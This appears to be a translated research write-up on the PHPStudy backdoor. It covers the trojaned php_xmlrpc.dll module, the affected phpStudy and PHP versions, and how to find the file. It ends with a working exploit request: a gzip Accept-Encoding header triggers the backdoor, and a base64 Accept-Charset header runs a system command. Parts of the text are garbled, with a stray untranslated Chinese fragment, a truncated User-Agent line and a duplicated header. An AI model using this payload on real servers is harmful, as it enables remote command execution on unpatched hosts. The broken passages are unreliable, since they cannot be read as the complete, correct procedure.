[Research] Exploiting the PHPStudy Backdoor
This article covers the environment, underlying mechanism, affected versions, backdoor detection, and exploitation of the PHPStudy backdoor.
Read in Chinese→[Research] Exploiting the PHPStudy Backdoor
1. Environment
The following two versions were tested:
Backdoored version of phpStudy_2016.11.03
Backdoored version of PhpStudy20180211
PhpStudy is familiar to many developers in China. It is a free, integrated PHP debugging environment package that bundles the latest versions of Apache, PHP, MySQL, phpMyAdmin, ZendOptimizer, and other software into a single installation. It can be used directly without configuration and provides both PHP environment debugging and PHP development capabilities. Because it is free, community-oriented, simple, and convenient, it has grown to a considerable scale and now has nearly one million users who are learning or developing with PHP.
2. Mechanism
The php_xmlrpc.dll module included with the package’s PHP distribution contains a hidden backdoor.
3. Affected Versions
phpStudy20161103:
php5.4.45 and php5.2.17
phpStudy20180211:
php5.4.45 and php5.2.17
4. Backdoor Detection
Download the corresponding version and start it.
Check whether the backdoor file exists.
Location:
xxxx\phpstudy\PHPTutorial\php\php-5.2.17\ext
I used this version:
xxxx\phpstudy\PHPTutorial\php\php-5.4.45\ext
Locate the php_xmlrpc.dll file in the directory.
的base64编码
After modification:
accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
 Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0